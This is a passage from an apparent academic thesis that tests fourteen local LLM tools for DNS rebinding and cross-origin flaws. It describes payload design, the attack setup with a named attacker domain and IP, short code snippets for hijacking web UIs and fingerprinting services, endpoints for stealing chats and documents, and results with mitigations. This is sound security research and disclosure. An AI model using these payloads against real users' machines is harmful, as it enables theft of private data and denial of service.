carried out during February and March 2025. We used search engine queries,
such as “local LLM deployment”, “self-hosted LLMs”, and “Ollama alterna-
tives”, to identify both open-source and proprietary projects. We evaluated
each tool based on its popularity, using the number of GitHub stars as an
initial metric. Additionally, we considered the level of community engage-
ment to assess the extent of active usage and support. This ensured that
our analysis focused on widely used and relevant tools rather than experi-
mental software. Table 4.1 summarizes the products that we selected and
indicates their open-source status, popularity, and whether they provide an
HTTP API server. This information is relevant because the presence of an
HTTP API server determines how the tool can be accessed and exploited,
as described in Section 4.4.
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Table 4.1: Selected local LLM deployment tools (sorted by GitHub stars).

Tool Open-Source | GitHub Stars H’I;];II;;?PI
Open WebUI v 100k v
NextChat v 83.9k X
Llama.cpp v 82.2k v
GPT4All v 73.7k v
LobeChat v 62.8k X
vLLM v 50.8k v
Anything LLM v 45.7k v
Text Generation WebUI v 44.1k v
ChatBox v 35.5k X
LocaAl v 33.5k v
Jan Al v 33.5k v
Llamafile v 22.7k v
LMStudio X - v
Msty X - v

4.2 Security Assessment of Vulnerability to DNS
Rebinding and Cross-Origin Exploitation

Following the selection process, for each local LLM deployment tool from
Table 4.1, we assessed its vulnerability to DNS Rebinding attacks. The
primary goal of this phase was to determine whether the selected software
accepted requests with arbitrary HI'TP Host headers. Tools that processed
such requests without validation were potentially vulnerable since they may
treat attacker-controlled domains as part of legitimate origins [46]. For each
of these, we identified the default port where the HTTP server listens for
incoming requests, regardless of whether it handles API endpoints, delivers
a web UI, or both, and crafted requests using curl. A typical probe followed
this structure:

curl --header ‘Host:trustmydomain.ink’ http://localhost:<port>/

A positive result, such as receiving a valid HT'TP response or an HTML
page, indicated that the software did not enforce Host header validation. As
a consequence, we flagged these tools as potentially vulnerable and selected
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them for further analysis.

To ensure the feasibility of DNS Rebinding attacks, we checked for addi-
tional conditions: the software must use only HTTP (i.e., not redirect to
HTTPS), and it must not require authentication or setting specific API
keys by default. Tools that did not meet these conditions were excluded
from live attack scenarios. Similarly, tools that did not provide an HTTP
API server or enforced authentication on their web UI were also excluded
from that phase. However, we reconsider these products in later chapters
for a broader evaluation of their security posture.

As a final step, we examined whether the software we selected enforced
CORS policies. As such, we sent unauthenticated fetch() API requests
from an attacker-controlled origin and inspected any CORS headers re-
turned. Tools that responded with Access-Control-Allow-Origin:* were
vulnerable to direct cross-origin access (see Subsection 2.2.2). In such cases,
an attacker may not even require DNS Rebinding to exploit them, as the
SOP protections were already disabled by design. These findings appear in

an additional column in Table 4.2.

Table 4.2: Assessment of DNS Rebinding and cross-origin exploitation vulnera-

bility in selected local LLM deployment tools.

DN Rebiatng | S Oy | DS For
Open WebUI X X 3000
NextChat v X 3000
Llama.cpp v v 8080
GPT4All v X 4891
LobeChat v X 3210
vLLM v v 8000
Anything LLM X X 3001
Text Generation WebUI v X 7860
ChatBox X X -
LocaAl v X 8080
Jan Al v X 1337
Llamafile v v 8080
LMStudio v X 1234
Msty X X 10000
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Type Host Value

Figure 4.1: DNS records configured for the attacker-controlled domain used
in the DNS Rebinding attacks.

4.3 Setup of the Attack Infrastructure and DNS
Configuration

We employed the Singularity of Origin framework [40] developed by NCC
Group to conduct controlled DNS Rebinding attacks. For this purpose,
we registered a test domain (e.g.,trustmydomain.ink) through Namecheap
domain registrar [73] and configured its DNS records to route traffic through
our Singularity HTTP server, hosted on a DigitalOcean [26] Linux instance.

As shown in Figure 4.1, we created two A records. The former one, rebinder.
trustmydomain.ink, points directly to the Singularity HTTP server’s IP
address, which is necessary to deliver the malicious web page. This corre-
sponds to steps 4 and 5 in Subsection 2.3.2, where the victim’s browser sends
an HTTP request to rebind. it and receives a page that contains malicious
JavaScript. The latter one, a wildcard A record, *.trustmydomain.ink,
is required for employing the Hook and Control post-rebinding strategy de-
scribed in Subsection 2.3.5. The wildcard record is essential because it allows
session-specific subdomains to resolve back to the attacker’s proxy server IP
address. Using this setup, the HT'TP proxy server can distinguish between
different hooked clients when it receives different session-specific requests
from the attacker’s browser.

Additionally, we set a NS (Name Server) record to delegate DNS resolution
for all subdomains under *.dynamic.trustmydomain.ink to a DNS server
controlled by the attacker. This delegation is necessary for executing the
rebinding phase of the attack because it allows the attacker to alter DNS
responses for specific subdomains in real time. In the example from Sub-
section 2.3.2, this is illustrated in steps 3 and 7, where the same domain
rebind. it resolves to different IP addresses during separate look-ups.
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4.4 Payload Design

Building on the results of the DNS Rebinding and cross-origin exploitation
vulnerability assessment, this section presents the design of custom attack
payloads that target the tools selected in Section 4.1. We designed each pay-
load to match the structure, behavior, and documentation of the targeted
software. The payloads are grouped into three categories based on their
strategy of interaction: (1) Hook and Control, with persistent WebSocket
channels; (2) direct fetch-based payloads that required DNS Rebinding to
access API endpoints; and (3) direct fetch-based payloads that did not re-
quire rebinding due to weak CORS policies.

4.4.1 WebSocket-Based Payloads (Hook and Control)

This subsection describes the custom payloads designed for tools we ex-
ploited using the Hook and Control strategy after successful DNS Rebinding.
As indicated in Subsection 2.3.5, this technique allows an attacker to relay
HTTP requests through the victim’s browser using a persistent WebSocket
connection.

Common Payload Structure

All Hook and Control payloads share a reusable relay mechanism provided by
the Singularity of Origin framework [76]. This mechanism maintains a per-
sistent connection between the victim’s browser and the attacker-controlled
proxy server and forwards requests and responses in real time.

After DNS Rebinding succeeds, the JavaScript code within the payload
opens a WebSocket connection to the Singularity proxy server. The Web-
Socket endpoint uses the attacker’s proxy IP and port, which are extracted
from the hostname of the rebound origin. Additionally, retry logic is in-
cluded to handle DNS caching and firewall restrictions. This WebSocket
setup is provided in Appendix A, Listing A.1.

Once the WebSocket connection is established, the attacker’s browser may
send commands encoded as JSON objects through the proxy server. Each
command instructs the victim’s browser to perform a specific HI'TP request
against the target service and includes details such as the HTTP method,
headers, and body. The payload executes these requests using the fetch()
API and creates a response object that contains status codes, headers, and
the base64-encoded response body. This object is then sent back over the
WebSocket channel to the attacker’s browser. The complete implementation
of this logic is shown in Listing A.2 in Appendix A.
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Figure 4.2: As a result of DNS Rebinding, the frontend in Text Generation
WebUI sets gradio_config.root to the rebound origin.

onse Initiator  Timing

Figure 4.3: Incorrect request to /run/predict sent using the rebound origin,
triggered by the attacker’s browser in Text Generation WebUTI.

Text Generation WebUI Payload

We designed the Hook and Control payload that targets Text Generation
WebUT [80] to exploit its default configuration, which provides a Gradio-
based web UI over HT'TP without authentication. Gradio is a Python pack-
age used for deploying machine learning models with a web interface. It
is commonly used across LLM frontends to standardize endpoint structures
and UI behavior [38].

Although initial browsing of the target tool worked quite smoothly, a con-
figuration step in the frontend created issues for persistent exploitation.
Upon loading, the interface sets the field gradio_config.root to match
the origin used after DNS Rebinding on the victim’s side. This behavior
is shown in Figure 4.2, where the root URL includes the rebinding domain
and port. The frontend then uses this value to create absolute paths for
internal API requests, such as /run/predict and /queue/data. However,
because the attacker’s proxy session relates to a different domain and port
(e.g., http://session123.trustmydomain.ink:3129), these API requests
do not reach the target application. Figure 4.3 illustrates one such incorrect
request caused by this mismatch, which broke the functionality of the web
UI on the attacker’s side.

To address the issue, the payload modifies command handling on the victim’s
side. Therefore, upon sending fetch() API requests to the target tool, it
injects a JavaScript snippet into all HTML responses that it intercepts. This
snippet overrides the value of gradio_config.root at runtime. It monitors
the initialization of the gradio_config object and modifies its root field to
match the attacker’s proxy session-specific domain. A simplified version of
this logic is shown below:
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function fixGradioRoot() {
if (window.gradio_config && window.gradio_config.root) {
window.gradio_config.root = "${proxyUrll}";
return true;
}
return false;

}

We provide the complete implementation, including how the script is in-
jected and how the proxy URL is constructed, in Listing A.3 in Appendix A.

LocalAI Payload

The Hook and Control payload we designed for LocalAl targets its web UlI,
which is served over HTTP without authentication by default. Although
LocalAI also supports a RESTful API [55], its web UI makes it more suitable
for browsing via the victim’s hooked browser.

LocalAT’s frontend differs from Text Generation WebUI’s in how it handles
navigation. Instead of relying on JavaScript configuration objects, Local Al
uses the HTML <base> tag to define the base URL for relative links. After
successful DNS Rebinding, the interface sets this tag to the origin of the re-
bound session (see Figure 4.4). As a result, the value does not match the at-
tacker’s actual origin (e.g., http://session123.trustmydomain.ink:3129).
This mismatch breaks internal navigation since the attacker’s browser loads
resources from an invalid or unreachable location.

Figure 4.4: HTML <base> tag in LocalAl frontend pointing to the rebound
origin.

To address this, the payload modifies the HTML response in real time. If
a <base> tag is present, the script replaces its value with the correct proxy
domain and port from the current session. If the tag is missing, the payload
injects a new one into the <head> section of the document. This ensures
that all internal links and resources resolve correctly relative to the proxy
domain within the attacker’s context. Listing A.4 in Appendix A shows the
complete logic we used to rewrite the base URL at runtime.
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Other WebSocket-based Payloads

LobeChat [54] was another tool we targeted using the Hook and Control
post-rebinding strategy. Although it does not expose an HTTP API server,
it provides a web UI for interacting with LLMs. This made it a suitable
candidate for exploitation via hooking the victim’s browser.

Unlike the previous two applications, it was not required to modify the base
payload provided by Singularity of Origin [75]. After DNS Rebinding suc-
ceeded, the payload executed without errors. The script successfully estab-
lished a WebSocket channel, and the victim’s browser sent fetch() requests
as expected. All requests sent by the attacker’s browser used the session-
specific proxy domain and port (e.g., session123.trustmydomain.ink:3129)
rather than the rebound domain, as seen in previous cases.

A similar pattern occurred with NextChat [77], Llama.cpp [34], and Lla-
mafile [70], where we used the same base payload provided by Singularity of
Origin. Their web Uls also loaded successfully through the proxy session,
and we did not have to modify them. However, for Llama.cpp and Llamafile,
we created separate payloads to target their API endpoints directly, as they
provide useful backend functionality beyond their web Uls. In contrast,
NextChat does not expose such API endpoints, and therefore, we did not
design additional payloads.

v Hook s % | & JustChat- LobeChat +

= ¢ @ A Notsecure 3339713107 trustmydomain.ink:3129 ession=inbox

Debian.org Latest News I

& LobeHub & JustChat @ gpt-4i-min

[
5 Just Chat

@ Default Assistant

Figure 4.5: Attacker’s view of LobeChat after successful execution of the
Hook and Control base payload.

4.4.2 Direct Fetch-Based Payloads

Unlike the Hook and Control payloads, the scripts from this category do not
require the modification of specific configurations within the frontend. In-
stead, they send unauthenticated HTTP requests directly to API endpoints
that are publicly documented. Depending on the software, these endpoints
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could be /vi/models, /vl/threads, or /vl/chat/completions. The goal
was to extract information about models installed locally on the victim’s
machine, access private chat histories, or trigger model inference, among
others.

This approach is successfully applied to the following tools:

e LMStudio: the payload creates requests to the /vi/models and
/v1/chat/completions endpoints. If data about LLMs installed lo-
cally is returned, the script selects the first model and sends 20 parallel
completion requests.

e GPT4All: the payload issues requests to the /vi/models endpoint
to obtain a list of models installed locally. If successful, it sends a chat
completion request that prompts the model to summarize the con-
tents of documents uploaded locally. This payload targets GPT4All’s
LocalDocs feature [37] that allows users to query their indexed files.

e Jan AI: the payload sends requests to the /v1l/threads and /v1/models
endpoints to retrieve information about active threads and models
installed locally. For each thread returned, it issues an additional
request to /vi/threads/{id}/messages to access the messages asso-
ciated with it. Although the payload focuses on a limited subset of
endpoints, Jan AI’s API reference includes many other endpoints that
can be leveraged similarly [18].

4.4.3 Direct Exploitation Without Rebinding

The payloads described in the previous subsection rely on rebinding to en-
able access to local API endpoints. This process is necessary because several
local LLM deployment tools launch HTTP servers that listen for requests
only on the loopback interface [37,55]. As described in Subsection 2.3.3, DNS
Rebinding circumvents this by tricking the browser into resolving attacker-
controlled domains to local IP addresses.

However, for a subset of tools, an adversary does not require DNS Rebinding
to access them. As a result, an attacker-controlled origin can send the
same unauthenticated HTTP requests used in the previous payloads without
requiring rebinding or a WebSocket channel.

This approach is successfully applied to the following tools:

e Llama.cpp: the payload sends requests to multiple API endpoints, in-
cluding /v1/models, /props, /slots, /slots/id_slot?action=save,
and /lora-adapters. It also issues additional requests to the /infill
endpoint to trigger inference.
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e Llamafile: the payload sends requests to the /props endpoint and
creates multiple parallel requests to the /infill endpoint to trigger
inference.

e vLLM: the payload sends requests to the /v1/models and /v1/compl-
etions endpoints. If available, it uses the first model to trigger a com-
pletion request.

4.5 Payload Execution within DNS Rebinding and
Attack Flow

This section describes how we executed DNS Rebinding attacks in practice
against live instances of tools that were vulnerable to this attack vector (see
Table 4.2). It explains the threat scenario we assume, the logic used to select
and launch payloads automatically, and the infrastructure provided by the
Singularity of Origin framework.

Attack Scenario. The assumed attack scenario involves a user running a
local LLM deployment tool on their machine, without any form of authen-
tication or authorization in place. While the tool is active, the user visits a
malicious website controlled by the attacker, namely http://rebinder.
trustmydomain. ink:<port>/autoattack.html. The website includes a
script designed to identify and interact with the local software using one
of the payloads described earlier. No other user interaction is required be-
yond visiting the page.

Payload Selection. The Singularity of Origin framework includes a detec-
tion mechanism that identifies active local services. Each payload contains a
specialized function that sends one or more unauthenticated HTTP requests
to the local software and inspects the response. If the function detects a
known pattern or identifier, it confirms that the tool matches the intended
target. In this way, the framework can automatically select the correct pay-
load without requiring prior knowledge of which tool the victim is running.
An example of such a specialized function is shown below. In this case,
it identifies local instances of Jan Al by checking for common Swagger Ul
elements in the root HTML response.

async function isService(headers, cookie, body) {
try {
const response = await sooFetch("/", {
method: "GET",
credentials: "omit",

B
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http://rebinder.trustmydomain.ink:<port>/autoattack.html
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const text = await response.text();

return text.includes("<title>Swagger UI</title>") ||
text.includes("swagger-ui.css") ||
text.includes("SwaggerUIBundle") ;
} catch (err) {
return false;

¥

As part of this setup, we extended the Singularity of Origin framework to
support payloads that target the tools analyzed in this thesis. For each
live attack scenario where we employed DNS Rebinding, we created a corre-
sponding JavaScript file within the framework’s payload registry. The com-
plete structure of the registry and examples of these payloads are provided
in Appendix A.2.

Attack Configuration. To automate the execution of payloads, we adapted
the default autoattack.html page provided by the Singularity of Origin
framework to match the set of tools selected for analysis. We set the fields
attackHostDomain and attackHostIPAddress to dynamic.trustmydomain.
ink and 167.71.73.156, respectively. These values correspond to the do-
main we control and use for DNS Rebinding and the IP address of the server
that hosts the Singularity instance, as described in Section 4.3. Addition-
ally, we set the rebinding strategy to Multiple A Records since it provides
faster rebinding for targets running on localhost [29]. We specified the
target ports manually based on known defaults for each tool that provides
an HTTP server (see Table 4.2). We also enabled the automatic attack
mode, allowing the page to detect the active tool and launch the appropri-
ate payload. Finally, we used 0.0.0.0 and 127.0.0.1 as target IP addresses
to take advantage of the capabilities of the Singularity of Origin framework
across all major operating systems [29].

In addition to delivering payloads, the Singularity of Origin framework also
provides a complete infrastructure that facilitates DNS Rebinding attacks.
It includes a DNS server to perform rebinding from the attacker’s public
IP address to the target host (e.g., 127.0.0.1), an HTTP server to host
JavaScript payloads and deliver the malicious page, and a proxy mecha-
nism to support Hook and Control payloads via persistent WebSocket con-
nections. This setup was useful since it did not require separate external
components for each stage of the attack.

The complete implementation of the Singularity of Origin framework, in-
cluding parsing DNS queries, the selection and execution of the rebinding
strategy, and the entire logic of the HTTP server and proxy, is outside the
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scope of this thesis. Readers interested in the complete system internals are
referred to the original repository documentation [40].

4.6 Direct Cross-Origin Exploitation

This section describes how we conducted cross-origin exploitation attacks
in practice against tools that were vulnerable to this attack vector (see
Table 4.2). The threat scenario remains the same: a user runs a local LLM
deployment tool on their machine without any form of authentication or
authorization. While the service is active, the user visits a malicious website
controlled by the attacker. No other interaction is required. However, a
significant difference compared to DNS Rebinding is that the attacker’s web
server can deliver the malicious web page over HT'TPS. The limitations of
using HT'TP in the context of DNS Rebinding are discussed in later chapters.

To conduct cross-origin exploitation attacks, we did not need to use or ex-
tend the Singularity of Origin framework. Instead, we targeted each tool
that was vulnerable to this attack vector using a separate HTML page hosted
under an origin we controlled. These HTML pages included the fetch-based
payloads from the third category described in Subsection 4.4.3. An exam-
ple of such a page that an attacker can use to exploit Llamafile is available
online.!

4.7 Execution Environment and Timing

We installed and tested the local LLM deployment tools selected for analysis
on both a Debian-based Linux distribution and a Windows 11 Pro version.
In addition, we hosted the Singularity of Origin framework on a remote
DigitalOcean instance running Ubuntu Server 24.10.

Most importantly, we evaluated all tools using their default configurations.
We did not enable additional command line options or security features,
such as setting API keys. When a server required manual startup via the
command-line interface (CLI), we launched it without modifications. As
a result, each tool was bound to its default IP address (e.g., 127.0.0.1
or 0.0.0.0) and port (see Table 4.2). The only exception was Llama.cpp,
which we started with specific flags, such as --lora-adapters, --slots,
and --slot-save-path. We provide a complete justification for this config-
uration in Section 5.1. Additionally, some tools, such as Jan AI, LMStudio,
and GPT4All, did not enable their local HTTP API servers by default. In
those cases, we activated this feature using their Uls before launching the
attacks. This step is part of the normal flow for users who interact with

"https://gist.github.com/laurian19/518d9ed5802a2de0ed 7Th7a3edad 32882
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these applications through requests to API endpoints and is necessary to
exploit them over HTTP [37].

In our analysis, successful DNS Rebinding attacks completed within 7-15
seconds after the victim visited the malicious page. The execution times were
consistent across all the tools we analyzed and included DNS resolution, the
delivery of payloads, the detection of the active tool, and the execution
of the script. However, the exact duration varied depending on network
conditions, how quickly rebinding completed in the target browser, and how
fast the target server was responding to requests.

In contrast, cross-origin exploitation attacks succeeded within 1-2 seconds
after the victim loaded the malicious web page. This is due to the fact
that no rebinding was necessary. Therefore, the script executed and sent
unauthenticated requests to the target software without delay.
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Chapter 5

Results

This chapter presents the results we obtained after executing the payloads
described earlier against live instances of the local LLM deployment tools
selected for analysis. For each of them, we document what kind of data
an attacker could access and what operations they could trigger as a result
of successful exploitation. We then use these observations to evaluate the
impact of the underlying vulnerabilities and highlight the risks users face
when running such tools without basic security measures.

5.1 Summary of Results

Table 5.1 summarizes the outcomes of the attacks performed against the lo-
cal LLM deployment tools selected for analysis. The column labeled Model
List indicates whether an adversary could retrieve a list of models installed
or loaded on the victim’s machine. Similarly, Inference Triggered re-
flects whether a malicious website visited by users could send prompts to
the local LLM and retrieve completions. Out of the 14 tools evaluated, eight
were vulnerable to both listing models and remote inference. The column
Interactive Web UI Control shows whether an attacker could control the
tool’s web UI through the victim’s hooked browser. This interaction was
possible on four tools, including Llama.cpp and Text Generation WebUI,
although the level of control varied among them and is discussed in later
sections. The column labeled Chat History indicates whether an adversary
could access private conversations through the malicious website, which oc-
curred in three out of 14 tools. The column Other Operations includes
additional successful actions, such as installing or deleting models, modify-
ing configurations, or retrieving the content of documents uploaded locally.
Finally, Patched by Publication indicates whether the corresponding vul-
nerabilities had been addressed by the time of this thesis submission.

As mentioned in Section 4.7, one exception in our live attack scenarios
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was Llama.cpp. Unlike all other tools that we launched using their default
settings and configurations, we started Llama.cpp’s server with additional
CLI options, such as —-slots, ——slot-save-path, and --lora-adapters.
This was not done arbitrarily. According to the tool’s documentation [34],
the local HT'TP API server requires these flags to enable specific API end-
points, including /slots, /slots/id?action=save, and /lora-adapters.
We found these endpoints relevant as they provide valuable functional-
ity, such as caching chat sessions and manipulating adapters. Although
Llama.cpp’s maintainers warn that endpoints such as /slots are intended
for debugging and that users should not enable them in production envi-
ronments [34], our evaluation focuses on local deployments using default or
commonly used configurations. Therefore, we included these flags to obtain
a complete assessment of the tool’s attack surface. Their usage revealed
concrete vulnerabilities that an attacker could exploit, such as writing files
to the victim’s file system and reading private chat conversations that would
otherwise remain hidden in a default configuration.

Many products were vulnerable to model listing and remote inference be-
cause these features were common across all local LLM deployment tools
we analyzed. In several cases, an attacker could retrieve the list of models
installed locally through API endpoints intended for developer use. Other
tools, such as Text Generation WebUI and LocalAl, displayed available mod-
els directly within their web Uls. Similarly, almost all tools that launched
an HTTP API server accepted inference requests without any protection. In
most cases, an adversary could send prompts directly to their APIs, while in
others (e.g., Text Generation WebUI, Llama.cpp, Llamafile, and LocalAl),
they could trigger inference indirectly through their web Uls. As such,
almost every tool that was vulnerable to DNS Rebinding or cross-origin ex-
ploitation (see Table 4.2) allowed an adversary to retrieve the list of models
installed locally and trigger inference. The only exceptions were LobeChat
and NextChat, which are discussed in later sections.

Nevertheless, in the context of several tools, an adversary could perform
additional operations, such as modifying configurations or installing mod-
els. Whether these operations were possible through a web Ul or via API
endpoints varied among tools. For instance, an attacker could control the
management of models within Text Generation WebUI and LocalAl as if
they were a legitimate user.

More importantly, there is no correlation between the popularity of a tool
and its security posture, nor with the severity of actions an attacker could
perform (see Table 4.1). We found that popular software, such as Llama.cpp
and GPT4All, were vulnerable to at least one of the attack vectors analyzed
in this study. Even more concerning is that through cross-origin exploita-
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tion, an attacker does not require DNS Rebinding to exploit Llama.cpp,
Llamafile, and vLLM to put their users at risk. We examine these issues in
greater detail in the following sections.

Table 5.1: Outcomes of the attacks performed on the tools selected for analysis. Entries marked with * indicate that
an attacker could perform the corresponding operations only when the target tool was run with non-default settings.

Tool Model Interactive Chat Inference Other Patched by
List Web UI Control | History | Triggered Operations Publication
GPTAAIL v X X v Retrieve contents X
of LocalDocs
Open WebUI X X X X N/A N/A
LoRA adapter
manipulation *,
Llama.cpp v v v v file writes *, X
retrieve server
config info
NextChat X v X X None N/A
LobeChat X v X X None N/A
vLLM v X X v None X
Anything LLM X X X X N/A N/A
Load /unload /install
Text Generation models, alter threads,
WebUI v v v v manipulate v
session settings
ChatBox X X X X N/A N/A
LocaAl Y v X v Install/delete/load X
models
Jan Al v X v v None
Llamafile v v X v None
LMStudio v X X v None
Msty X X X X N/A N/A

5.2 Unaffected Tools

As shown in Table 5.1, some tools were not vulnerable to the browser-based
This section briefly discusses why these
products remained unaffected, based on their default configurations and

attacks analyzed in this thesis.
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Figure 5.1: Msty delegates all requests to an Ollama-compatible server run-
ning on port 10000.

behavior. For these tools, the Patched by Publication column is marked
as N/A (Not Applicable) since the attacks did not succeed and no fixes were
required to mitigate them.

Msty

Msty [72] was not affected by the browser-based attacks employed in this
thesis. This is because Msty does not expose its own HTTP API server
for interactive features, such as accessing the chat history and managing
the models installed locally. Instead, it proxies requests to an Ollama server
running on port 10000 by default, as shown in Figure 5.1. Furthermore, since
Ollama has already been patched against DNS Rebinding [30] and it enforces
strong CORS policies that block cross-origin requests, Msty inherits these
security benefits. As a result, attempts to exploit Msty’s backend through
either DNS Rebinding or cross-origin requests did not succeed.

Open WebUI

Open WebUT [82] was not affected by the browser-based attacks conducted
in this thesis due to its authentication mechanism that is enforced. By
default, it requires users to log in before accessing the web interface. This
made the Hook and Control strategy ineffective, as an attacker could not
browse the service remotely without valid credentials.

Open WebUI stores authentication tokens in HttpOnly cookies, which can-
not be accessed by JavaScript and are scoped to the origin where the user
logged in (e.g., http://localhost:3000) [66,67]. Since the Hook and
Control payload runs under a different origin (e.g., http://s-1.2.3.4-
localhost-1234-fs-e.dynamic.trustmydomain.ink:8080), the victim’s
browser does not include these cookies in outgoing fetch() requests. As a
result, an attacker could not perform authenticated actions or retrieve re-
sponses from an authenticated session. Additionally, Open WebUI protects
its API endpoints using these tokens, and the server rejects unauthenticated
requests, as illustrated in Figure 5.2.
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curl http://localhost:3008/api/models

{"detail":"Not authenticated"}

Figure 5.2: Open WebUI enforcing authentication to access its API end-
points.

AnythingLLM

Similarly, AnythingLLM [12] enforces authentication through API keys. By
default, users must generate an API key within the desktop application
before accessing any API endpoints. Without a valid APT key, the server
rejects all requests to these endpoints.

Chatbox

Chatbox [17] was not affected by the browser-based attacks evaluated in this
thesis due to its architecture as a desktop application. It does not expose an
HTTP API server or provide a web interface. Instead, Chatbox runs entirely
as a local application and communicates with LLMs through local backends,
such as vLLM, or remote APIs, such as OpenAl’s API, which require setting
API keys. Therefore, DNS Rebinding and cross-origin exploitation were not
feasible in this context.

5.3 Limitations of Interactive Web UI Control

Although an attacker could technically achieve Interactive Web UI Control
on six tools, including Llama.cpp, Llamafile, NextChat, and LobeChat, the
actual impact varied among them. For these four tools, interaction with
their Uls did not result in meaningful exploitation. This is because all ses-
sion data, such as chat history and configurations, is stored locally in the vic-
tim’s browser using localStorage or indexedDB, as illustrated in Figure 5.3.
These storage mechanisms bind to the origin (e.g., http://localhost:3210)
and different origins cannot access their content due to strict isolation [66].
Since the attacker loads the web Ul from a proxy session-specific origin, such
as http://sessionl123.trust-mydomain.ink:3129, their browser creates
a fresh session with no data stored because the payload cannot access the
victim’s localStorage or indexedDB.

For NextChat and LobeChat, an adversary could load their web Uls, but any
interaction did not affect the victim’s session. Inference was possible only in
the attacker’s context and not using threads or models loaded by the victim.
Any changes made during the session were local to the attacker’s browser
and did not persist or propagate. As a result, we did not create disclosure
reports for LobeChat and NextChat, and the column labeled Patched by
Publication is marked as N/A.
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GET http://127.0.08.1:8080/v1/models
{

"object": "list",
"data": [
{
"id": "/home/laurianl9/.local/share/nomic.ai/GPT4ALL/Phi-3-mini-4k-instruct.04 0.gguf",
"object": "model",
"created": 1748192397,
"owned_by": "llamacpp”,

Figure 5.4: An attacker can obtain the victim’s directory structure and OS
username, which are revealed in Llama.cpp’s response to requests targeting
the /v1/models API endpoint.

e
[ Lok

b

[ messages

Figure 5.3: IndexedDB view in LobeChat showing that session data is stored
locally in the victim’s browser and is isolated by origin.

5.4 Security Implications and Categorization of Re-
sults

The live attack scenarios revealed that adversaries could exploit multiple
security and privacy issues across different tools. In some cases, an attacker
could retrieve metadata, such as the list of models installed locally. In others,
they could tamper with chat histories or interact with web Uls through the
victim’s browser. To better understand the impact of these vulnerabilities,
this section categorizes the results from Table 5.1 using the Confidentiality,
Integrity, and Availability (CIA) security model [19].

Confidentiality

Most tools analyzed in this study that were vulnerable to at least one at-
tack vector allowed an adversary to compromise confidentiality and access
users’ private data. In all such cases, an attacker could retrieve the list of
models loaded or installed locally. This information sometimes revealed the
user’s operating system username and directory structure, as observed in
Llama.cpp (see Figure 5.4). In more critical scenarios, the list could include
proprietary models under development that developers or researchers have
not released publicly. Leaking such information may result in the theft of
intellectual property and lead to serious consequences for academic research
or commercial projects.

More critically, an adversary could access private chat histories in services
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Figure 5.5: An attacker can obtain the content of documents uploaded lo-
cally, which are revealed in GPT4All’s response to requests linked to Local-
Docs files.

such as Jan Al and Text Generation WebUI. GPT4All, on the other hand,
was found to be vulnerable to DNS Rebinding attacks that allowed an at-
tacker to retrieve the content of documents uploaded locally. Once the vic-
tim uploaded a LocalDocs file and linked it to the local HTTP API server,
the server processed the attacker’s prompt and returned a summary that
included information from the document. Figure 5.5 shows a response that
contains leaked content from several LocalDocs files.

Jan AT allowed a DNS Rebinding attacker to retrieve the content of messages
from threads stored locally. Similarly, in the context of Text Generation We-
bUI, an adversary could view private conversations directly through its web
UI. In addition, when Llama.cpp’s server was launched with the --slots
CLI option, the malicious website could send specific API requests to extract
the content of the most recent chat session (see Subsection 4.4.3). These
confidentiality breaches represent a significant risk to users who believed
their data remained local and, as a result, may have shared sensitive details
in chats or uploaded documents.

Nevertheless, in the context of Llama.cpp, an adversary could retrieve meta-
data such as the build number and build commit hash of the public release
used to deploy the server locally. Combined with the list of models installed,
this information could be used as a means of fingerprinting.
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Integrity

In the context of several tools, it was possible to modify or disrupt the
local state through unauthenticated requests to API endpoints or web Uls.
These actions included altering chat histories, adjusting session settings, and
modifying which models were loaded or active.

Text Generation WebUI was particularly vulnerable in this regard. Using
the Hook and Control post-rebinding strategy, an attacker could interact
with the frontend as if they were a legitimate user. They could modify
existing conversations, alter session settings, and install or unload models.
Since the frontend session wrote data back to disk, some of these changes
persisted across sessions without any indication to the victim.

Through DNS Rebinding, LocalAl was found to be vulnerable to similar
actions. In addition to viewing the list of models installed locally, an adver-
sary could install or delete models through unauthenticated requests sent
via the web Ul Figure 5.6 shows the interface for the management of models
in LocalAl, which includes options to delete any currently installed model.

4 Installed model(s)

MODEL NAME BACKEND. ACTIONS

4 gemma-3-1b-it - © DELETE

4 llama-3.2-1b-instruct:q4_k_m © DELETE

4 voice-en-us-kathleen-low © DILETE

4 whisper-1 © DLETE

Figure 5.6: The model management interface in LocalAl, as seen by the
attacker through the web UI after successful DNS Rebinding.

In the case of Jan Al, the corresponding payload described in the previous
chapter did not include requests that modified the state of the local instance.
However, its API documentation [18] lists several API endpoints that an at-
tacker could use to alter server configurations, such as changing the set of
origins that can read the local server’s responses (see Figure 5.7). Addition-
ally, other endpoints could be used to modify the content of threads, delete
messages, and install or remove models, files, and assistants [18].

Llama.cpp also presented integrity violations under specific conditions. When
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launched with —-slots and --slot-save-path CLI options, the server ac-
cepts requests through which an attacker could write files with arbitrary
names to the victim’s file system via specific API endpoints (see Subsec-
tion 4.4.3). Although the victim constrains the location of such files when
deploying the server [34], this vulnerability could lead to the exhaustion of
their local storage.

Update configuration settings

ication/json

Figure 5.7: Jan Al exposes an API endpoint that an attacker could use to
update server settings, including allowed origins and CORS policies.

Availability

Most tools also presented availability issues, as adversaries could send infer-
ence requests that degrade their performance or cause denial of service.

For instance, Llama.cpp and Llamafile accepted large input_extra payloads
via the infill API endpoint, without restriction. By sending multiple re-
quests in parallel to this endpoint, a cross-origin exploitation attacker could
exhaust the victim’s CPU or GPU resources and significantly delay model
responses. Similar exploitation was possible in LMStudio, GPT4All, and
vLLM, where repeated completion requests could overload local resources
and slow down the performance of inference.

In LocalAl, a DNS Rebinding adversary could send unauthenticated requests
through the web UI to delete models. Although this may not crash the
system, it affects availability if the user is actively using those models during
a session (see Figure 5.6).

In Jan Al attackers could achieve similar effects by sending requests to API
endpoints that support deleting models or stopping services. Its public API
documentation describes endpoints that can stop individual models or shut
down the victim’s local server entirely [18]. Such actions, if triggered, would
cause an immediate denial of service for the victim.
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Chapter 6

Discussion

In this chapter, we discuss mitigations against DNS Rebinding and cross-
origin exploitation attacks demonstrated in our security analysis. In addi-
tion, we provide recommendations for developers of local LLM deployment
tools to strengthen their security posture. We then describe the key lim-
itations of our study, including constraints related to the feasibility of the
attacks. We also discuss ethical considerations regarding the responsible
disclosure of vulnerabilities. The chapter concludes by identifying potential
directions for future research based on current gaps and new trends in local
LLM deployment tools.

6.1 Mitigations and Recommendations

Various mitigations against DNS Rebinding and cross-origin exploitation
attacks exist at different layers of responsibility: developer, browser, and
user.

Mitigations for Developers

Developers are encouraged to implement strict verification of HT'TP Host
headers on the server side to ensure that only requests targeting expected
domains are accepted [9,46,74]. This means that servers should only ac-
cept Host headers that include values such as localhost, 127.0.0.1, or
another trusted domain configured by the user. Among the 14 tools we
